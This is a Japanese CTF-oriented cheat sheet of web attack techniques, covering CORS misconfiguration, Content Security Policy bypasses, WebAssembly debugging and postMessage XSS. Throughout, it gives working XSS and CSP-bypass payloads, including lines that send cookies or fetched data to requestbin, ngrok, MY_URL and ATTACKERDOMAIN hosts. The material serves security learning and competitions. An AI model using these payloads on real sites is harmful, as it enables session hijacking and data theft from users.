この記事はCTFのWebセキュリティ Advent Calendar 2021の21日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
CORS
CORS Misconfiguration
- SOPをbypassする機能がCORSであるが、制約を緩くしすぎて情報流出する場合がある
- 資料
攻撃サンプル
- origin攻撃
*
*.target.com
target.com.evil.com
eviltarget.com
null
evil.com
- Exploiting misconfigured wildcard (*) in CORS Headers
- Using XSS to make requests to cross-origin sites
- XSSがあると情報が抜ける
<script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>
こんな感じに抜いてくればいい
- 攻撃
- Advanced CORS Technique
- 2018年に見つかった更なるテクニックがある
- 発祥の地: Advanced CORS Exploitation Techniques – Corben Leo – infosec write-ups and ramblings
- Safari限定で発現するもの
- 一般には使えない文字を使ってbypassするもの。実際どれくらい脆弱性として認められるんだろう
- mitigation
CSP
- CSPの種類について
- script-src-elem
<script>alert(1)</script>
や<script src="/jquery.js">
- script-src-attr
<svg onload="alert(1)">
- base-uri
<base href="https://example.com/">
'none'
か'self'
にしておけばbaseがインジェクションされてもとりあえず大丈夫。追加理由ほとんどないんだしnoneでいいんじゃないかな?- none以外だったら、base tag injectionを疑うこと
- connect-src
- CSP: connect-src - HTTP | MDN
- 制約対象が多いな。
connect-src http: https:;
はガバガバ設定
- img-src
- script-src-elem
- 推奨設定?
script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
object-src 'none';
base-uri 'none';
- 回避テク一覧
- CSPが複数あれば、最も制約の厳しいものが採用される
- CSP Evaluator
- このサイトに通して弱点を探るのもいい
- CSP: Content Security Policy
- 挿入されたjavascriptの実行を制約することで、XSSが成立しないようにする
- サーバからブラウザへポリシーを伝えることで、そのポリシー以外の実行を制限する
content-security-policy:
を見ると、許可されている操作が書かれているので、許可されてる範囲でバイパスを考える
- script-src
script-src 'self' data:;
- script-srcのdataスキームが許可されている
<script src="data:text/javascript,ここに任意コード">
<script src="data:text/javascript,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://requestbin.net/r/1ax2j8w1?q='+escape(x))">
script-src 'self' ajax.googleapis.com 'unsafe-eval';
- ajax.googleapis.comが使える。こういった時は外部ライブラリを踏み台にしてバイパスする
- Angular.js
- 直後にng-app属性を持ったpタグを入れることで、内部のjsコードを即座に実行してくれる
html <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script> <p ng-app>{{constructor.constructor('ここに任意コード')()}}
- XSS in the AWS Console
<input ng-focus=$event.view.alert('XSS')>
- 直後にng-app属性を持ったpタグを入れることで、内部のjsコードを即座に実行してくれる
script-src 'self' *.google.com *.gstatic.com;
<script src="https://accounts.google.com/o/oauth2/revoke?callback=[jscode]
- payload:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(31337)"></script>
script-src: strict-dynamic
"script-src":"'self' 'unsafe-inline'"
インライン JavaScript および CSS を許可します
- 普通に
<script>sendMyDataToEvilDotCom();</script>
が許可される
script-src 'none'
- scriptタグは全く使えない
style-src 'self' http://cdn.embedly.com/;
- CSSを外部からインジェクションできるようになる。この場合は、selfかhttp://cdn.embedly.com/ならCSSを外部から入れれる
- ctf/2021/dice_ctf/build_a_better_panel at master · qxxxb/ctf · GitHub
- この問題では特殊でhttp://cdn.embedly.com/にXSS的脆弱性があり、CSSを注入できるようになっていた
script-src 'nonce-*'
- CTFtime.org / ångstromCTF 2021 / nomnomnom
html This score was set by ${name} <script nonce='${nonce}'>
- firefoxに限り、上記の様にscriptタグの直前に入力値を入れられる場合にnonceを取り込んだscriptタグを生成できる
<script src="data:, location.replace('http://[redacted: 12 chars].ngrok.io/?d=' + document.cookie);"
<script src="https://textbin.net/raw/o4tst0cpr6" dummy=\
- 上記のような不完全なscriptタグを用意することでnonceを取り込める
- firefoxに限り、上記の様にscriptタグの直前に入力値を入れられる場合にnonceを取り込んだscriptタグを生成できる
- CTFtime.org / ångstromCTF 2021 / nomnomnom
script-src 'self'
- SECCON Beginners CTF 2021【Web】magic 作問者writeup | Hi120kiのメモ
- サイト自身のドメインからsrcで持ってきたJavaScriptだけ実行する
- JSONPか、入力をそのまま出力しているような所があれば、そこ経由でJavaScriptを実行可能
default-src 'self'
- Content Security Policy Level 3におけるXSS対策 - pixiv inside
- 信頼されたほかのjsコードを経由することでバイパス実行する方法がある
- JSONP csp-evaluator/jsonp.js at master · google/csp-evaluator · GitHub
- Angular csp-evaluator/angular.js at master · google/csp-evaluator · GitHub
scriptSrc: ["'self'", "'unsafe-eval'", "https://cdnjs.cloudflare.com/"],
となっていれば、html <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.1.5/angular.min.js"></script> <p ng-app>{{constructor.constructor('fetch("/alien").then(r=>r.text()).then(t=>location="MY_URL?q="+escape(t.slice(754, 854)))')()}}
- H5SC Minichallenge 3: "Sh*t, it's CSP!" · cure53/XSSChallengeWiki Wiki · GitHub
- 突破できなかったやつ
content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'
strict-dynamic
- すでに実行を許可されたJavaScriptコードから読み込まれたJavaScriptコードを実行可能にする
- JSONPを実行するために追加しているかもしれない
- 回避例
- CSP Policy Injection
- 入力がCSPのポリシーに組み込まれる場合に、設定されていないCSP Policyを追加で設定できる
- 同じポリシーを設定した場合は、Chromeであればエラーとなる
; script-src-attr 'unsafe-inline'
という感じにインジェクションする
- CSP Embedded Enforcement
- CSPの影響を受けないもの(ほんとか?)
<meta http-equiv="refresh" content="0; URL={{遷移先}}>
metaタグによる遷移<link rel="preload" href="https://webhook.site/…" as="fetch">
による読み込み
WebAssembly
ブラウザからWebAssemblyをデバッグする方法
- Debugging WebAssembly with modern tools - Chrome Developers
- setup
- https://goo.gle/wasm-debugging-extensionをいれる
- Chrome DevToolsを開いて、歯車→Experiments→WebAssembly Debugging: Enable DWARF supportを有効にする
- 設定を閉じると、リロードしますか?と聞かれるので閉じる
- Sourceパネルを開いて適当にブレークすれば出てくる
- 解析例
- 適当にブレークする
- Localをみればローカル変数の中身が見れる
- Moduleの$memoryのbufferを見れば、ポインタ指定されていれば中身が見れる
- ブレーク中は変数にカーソルを当てると中身が見れる
- setup
- UTCTF 2020 writeup - Wasm Fans Only - こんとろーるしーこんとろーるぶい
C言語に直すには
- 参考
- 手順
解析例
CTFtime.org / UIUCTF 2020 / nookstop 2.0 / Writeup CTFtime.org / UTCTF 2021 / It's wasm time - UTCTF 2020 writeup - Wasm Fans Only - こんとろーるしーこんとろーるぶい - Chrome Developer Toolで動的解析できるみたい - WebAssemblyちょっとやる - バランスを取りたい
PostMessage
- PostMessageを使えばiframe間のCrossSite通信が通るので、注意しないといけないという話
- hackerone
- $20000 Facebook DOM XSS : Vinoth Kumar
- PostMessageでurlを渡して開いている部分があったから、
javescript:
にしたらXSSできた
- PostMessageでurlを渡して開いている部分があったから、
- $20000 Facebook DOM XSS : Vinoth Kumar
- todo: 対策
- オリジンを確認する必要がある
- GitHub - opnsec/postMessage-logger: Simple "postMessage logger" Chrome extension
- postMessageをロギングしてくれるGoogle Chrome拡張
- Stealing tokens, emails, files and more in Microsoft Teams through malicious tabs | by Evan Grant | Tenable TechBlog | Jun, 2021 | Medium
- いい攻撃コードが載っている。攻撃対象となるサイトをiframeで開いてpostMessageして、receiveして情報を抜き取る。
- postMessage issues · EdOverflow/bugbountywiki Wiki
- ペンテスト手法
- postMessage XSS on a million sites | Detectify Labs
window.postMessage("hello", "*")"
で何か引っかかってこないか見てみる。- 実行先でDOM XSSがないかを探す
- PoCを作るときはiframeを使えばいい
html <iframe id="frame" src="https://targetpage/using_addthis"></iframe> <script> document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*'); </script>
- The pitfalls of postMessage | Detectify Labs
- 逆にlistenerを作って情報を抜き出す方法も紹介されている
- Chrome Devtoolsを開いてSourcesのGlobal Listenersでリスナーが見られる
- postMessage XSS on a million sites | Detectify Labs